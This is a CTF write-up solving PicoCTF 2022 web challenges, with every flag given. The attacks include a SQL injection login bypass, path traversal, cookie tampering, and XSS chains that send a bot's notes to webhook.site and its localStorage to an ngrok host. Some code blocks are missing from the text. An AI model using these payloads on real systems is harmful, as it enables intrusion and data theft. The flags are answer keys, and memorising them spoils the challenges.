PicoCTF 2022
Write-ups for PicoCTF 2022 Challenges
Web Exploit
Here are the web challenges that I completed in PicoCTF 2022
Includes
Description: Can you get the flag?
Points: 100
Solution
The title is includes so it probably has something to do with imports on the HTML
Hint 1: Is there more code than what the inspector initially shows?
There were two files that were imported style.css
and script.js
and both has part of the flag.
Flag: picoCTF{1nclu51v17y_1of2_f7w_2of2_4d305f36}
Inspect HTML
Description: Can you get the flag?
Points: 100
Solution
The title suggest we "inspect HTML"
The source was
Flag: picoCTF{1n5p3t0r_0f_h7ml_b6602e8e}
Local Authority
Description: Can you get the flag?
Points: 100
Solution
The site opens basic looking login page.
Hint 1: How is the password checked on this website?
Hint suggest we bypass the login. Let's test it with username:password as a:a.
It opens login.php
which says "Login Failed". After viewing source of this page I found a file named secure.js
being imported. The contents were:
Flag: picoCTF{j5_15_7r4n5p4r3n7_8086bcb1}
Search source
Description: The developer of this website mistakenly left an important artifact in the website source, can you find it?
Points: 100
Solution
The title suggest we search through the source again.
Hint 1: How could you mirror the website on your local machine so you could use more powerful tools for searching?
You could probably download the source by "save as" and then use some searching tool for the terms "picoCTF" however I just instinctively tried to search couple file manually one of which was style.css
where I found the flag.
Flag: picoCTF{1nsp3ti0n_0f_w3bpag3s_869d23af}
Forbidden Paths
Description: We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?
Points: 200
Solution
The description pretty much tells you what to do. The flag is located at ../../../../flag.txt
Just input the path and you'll see the flag. Flag: picoCTF{7h3_p47h_70_5ucc355_e73ad00d}
Power Cookie
Description: Can you get the flag?
Points: 200
Solution
This is a case where we have to modify the cookie to elevate our access
Hint 1: Do you know how to modify cookies?
I changed the value to 1 and it showed me the flag. Simple! Flag: picoCTF{gr4d3_A_c00k13_80bad8fa}
Roboto Sans
Description: The flag is somewhere on this web application not necessarily on the website. Find it.
Points: 200
Solution
In my opinion this was the worst because it was guessy. It took me way too long to do this. "Roboto Sans" and "Not on website but on web application" kinda point you to look at "robots.text" (ikr??).
Looks like there is a base64 string there. After decoding anMvbXlmaWxlLnR4dA==
it is: js/myfile.txt
Flag: picoCTF{Who_D03sN7_L1k5_90B0T5_6ac64608}
Secrets
Description: We have several pages hidden. Can you find the one with the flag?
Points: 200
Solution
We start by inspecting source and there was one interesting find. secret/assets/index.css
I went to /secret
where I found another page with a gif. After inspecting it's source I found hidden/file.css
I continued to secret/hidden
and I found a new page. Inspected that. Found superhidden/login.css
continued to secret/hidden/superhidden
and there I found the flag after viewing source.
Flag: picoCTF{succ3ss_@h3n1c@10n_f55d602d}
SQL Direct
Description: Connect to this PostgreSQL server and find the flag!
Points: 200
Solution
I downloaded PostgreSQL. I connected to the credentials and checked for databases with command \l
I connected to database pico
with \c pico
I then view tables with \dt+
. I found
A simple SELECT * FROM flags;
revealed the flag.
Flag: picoCTF{L3arN_S0m3_5qL_t0d4Y_34fa2564}
SQLiLite
Description: Can you login to this website?
Points: 300
Solution
Here we can see the SQL query. This a a very easy one. We can just an or
statement with an always true case such as 1=1
and comment out the password section with --
Username: ' OR 1=1 --
Password: a (anything)
Successfully logged in. You can find the flg in source code.
Flag: picoCTF{L00k5_l1k3_y0u_solv3d_it_cd1df56b}
noted
Description: I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?
Points: 500
Solution
This was a challenging one. A little bit.
Hint 1: Are you sure I followed all the best practices?
Hint 2: There's more than just HTTP(S)!
Hint 3: Things that require user interaction normally in Chrome might not require it in Headless Chrome.
After browsing the site for few minutes, I realised that you can inject html code while creating new notes.
The source code was available to download. Let's look at what's going on in the backend. web.js
has all the endpoints and the server is run internally on localhost:8080
. However the most interesting part is report.js
which handles the /report
endpoint. Let's look at its code.
Couple of things to notice here:
It's a puppeteer bot
It is a headless, no-sandbox chromium browser (it's infamous of lax security)
The bot creates a new account with completely random username and password. Creates a new note with content as
process.env.flag
i. e the flag.The bot in the end opens the
url
we provide on the/reports
page.
The ideal plan would be to read the contents of "My notes" of the bot account which includes the flag. I had several ideas like use fetch API to login to a test account and create a note with contents from the bot account but the csrf
library used was making it very tricky to do that.
After some manual testing I figured that you can access internet through the puppeteer bot (even though they said we couldn't? wth?)
Now this opens a lot of possibilities. I can make a get request containing the "My Notes" contents as an argument. So, here's my plan:
So, my plan is simple. I will create an account on main servers with credentials a:a.
Then, I will created a script that will access webhook.site
url with body
contents of a particular window named "pwn" (This will be created later). Let's have a look at the script.
I added a clause to check for ?pwn
in the url because without it the website was crashing since it was redirecting every time you accessed notes. Now, let's go ahead and plant it.
Now, it is time for the main script. The one that goes into the /report
page, into the url
field.
Here I want to do three things inside puppeteer in a sequence.
Open a new window named "pwn" with url
http://localhost/notes
. This will open the "My notes" page as bot account. Which has the flag.Login in to our test account with credentials
a:a
`Go to
/notes?pwn
after logging in which will capture the contents of "pwn" window automatically due to xss.
That's it. That should do it. Now let's have a look at the code.
data:text/html
tells chrome that the contents are html. Next, we create a form with action as the local login page and pre-enter the credentials as values
in the input fields. Next we execute our sequence inside a script tag. We open a window named "pwn" with notes url (This has our flag in body). Then we wait 1 second and submit our login form. After we are logged in as "a:a" we then open /notes?pwn
after 1.5 seconds which will trigger our XSS and steal the contents from the "pwn" tag which still has body from the bot account (and the flag).
We'll go ahead and first get this script in one line and then enter it into the "url" section of /report
.
Now we wait for 2.5 seconds ☺️
Flag: picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}
Live Art
Description: There's nothing quite as fun as drawing for an audience. So sign up for LiveArt today and show the world what you can do.
Points: 500
Hint 1: The flag will be the admin's username/broadcast link, at the origin
Solution
This one was the trickiest of them all and I had to spend hours on it. I had to go through the source code and manually check every component for exploit (by spamming everything with console.logs ahah).
Note: I am not super familiar with react.js so I might be missing something here?
Okay let's get started with what I found.
Firstly, this is is sort of similar to the "noted" challenge above as this has a puppeteer bot as well and the flag is stored in the "localStorage" of the puppeteer bot.
The key part of this challenge is actually finding the exploit. They payload was straight forward. On running the client source code locally I came across few interesting things. Let's go through them.
Hooks
This is a little bit interesting, these functions are used in the error.tsx
file. Basically, these are reading key value pairs from the url and are returning an object as type "Record". It is interesting because you can use this record inside html elements as attributes. For example, you can use {height: 200, width: 200}
for type Record<string, string>
inside any HTML element like <div ..RecordObject ></div>
and this would translate to <div height=200 width=200></div>
Therefore, my first instinct was inject js code through this URL function inside an HTML element. Like onerror=alert()
inside an image tag as the site is using image tags widely. Hence, I needed to find the right place and right payload to be able to do this. That brings us the next page.
Drawing
At first this didn't seem weird but after running and observing locally I realised that the isWideEnough()
is actually checking the size of the window that had accessed /drawing
and is doing a conditional rendering:
if the window is wide enough. It runs the viewer
but if it not then it displays error
page. The error page is where I found that it takes parameters from url. So definitely something is happening here.
After running and logging viewer and error pages. I realised that the viewer has a state element called dimensions
which runs some calculations and passes it to image tag as <img src={props.image} { ...dimensions }/>
Now things are getting interesting, if I am able to get my Record
type object into dimensions
then I can inject a script inside onerror
. The question is how.
I noticed something while testing the behaviour of /drawing
upon resizing the the window. When I open the /drawing
page in a smaller window it shows me error. But when I expand the window size of browser it runs the isWideEnough()
asynchronously automatically renders the viewer
tab. But this time the image is bugged.
<img src={props.image} { ...dimensions }/>
This is was the code it was supposed to run but here we see the both props
and dimensions
is empty.
This is because the states of the page /drawing
were initiated right when we loaded the url but after the page content is re-rendered dynamically the states and props inside the second rendor did not initiate. Meaning, the current state variables on this page are the ones from error.tsx
which we loaded first due to screen being not wide enough.
Things get more interesting, we run const [params, setParams] = React.useState(getHashParams());
in the error.tsx
page. Now this will bind itself to the very first state variable on the second page which is const [dimensions, updateDimensions] = ...
on viewer
(How? I am not 100% sure, perhaps it is by design of react or not following hooks best practices? I would appreciate if someone points me to the exact reason).
This means that whatever we pass variables to dimensions
through url by just entering the followed by #
. Let's give it a try.
First we open a small chrome tab and enter the url: http://
saturn.picoctf.net:63756/drawing/pwn#src=https://i.kym-cdn.com/entries/icons/facebook/000/017/788/gotem.jpg
Now we Maximize the window. This will show us the injected params inside the image tag.
Ok now we've established that we can inject parameters inside the image tag on /drawing
page! Now we need to insert the onerror
parameter. But it's not that simple. It gets filtered out by React because if it's design. We have a way around it. That is, from our second hint, Custom Elements. We can force react to treat the <img>
tag as a custom element by passing a is
parameter to it. (Check this out)
Now let's try that, we repeat same steps as above with payload URL. Our URL now will be
That worked like a charm. Now from here it's a simple way forward. Like I said in the beginning, there is puppeteer bot that opens URLs from /fan-mail
the bot browser has the flag in its local storage. The plan is to repeat the same steps above inside the bot but capture the localStorage.username
and send it to our ngrok. Since we can't make the bot resize the browser we will use iframes
. Now the bot only allows http and https protocols. So we have to set up our payload on public url using ngrok and pass it to the bot. But first, let's create the payload.
We need the bot to do only three things.
Load the
localhost:4000
on a low-width iframe and go to/drawing/<anything>#src=none&onerror=<xss payload>&is
Increase the width of the
iframe
after loading so we trigger the xss.Build an xss payload that can send
localStorage.username
to ngrok.
Here's the payload that I cam up with:
Firstly, I am creating an
iframe
withnone
as source, 1000 height and default width (which is small enough to produce the error).Second I am storing a function that will capture the
localStorage.username
and send it to ngrok in a string format. I am usingframe.contentWindow.name
to store it since we can't store it outside the iframe context.Note, the current state of the
frame.contentWindow.name
is stored in string format. So it doesn't execute the function inside it unless we run it insideeval()
location.href
is basically the URL of the ngrok.
After that, I am changing the iframe src to the xss URL. Which opens the error page.
Note, the xss runs
eval(window.name)
which basically executes the (string) name:window.open('${location.href}'+localStorage.username)
as javascript code. So this will open<our ngrok url>/<flag>
Lastly, I am changing the width of the iframe to large enough to trigger the XSS.
Now let's save this payload as index.html
and start our simple http server in python using python3 -m http.server
and then start our ngrok server that listens to the simple http server on our computer.
Now we just enter our ngrok URL in the fan-mail section and we should see our flag in logs.
Flag:picoCTF{beam_me_up_reacty_90b651ae}
Last updated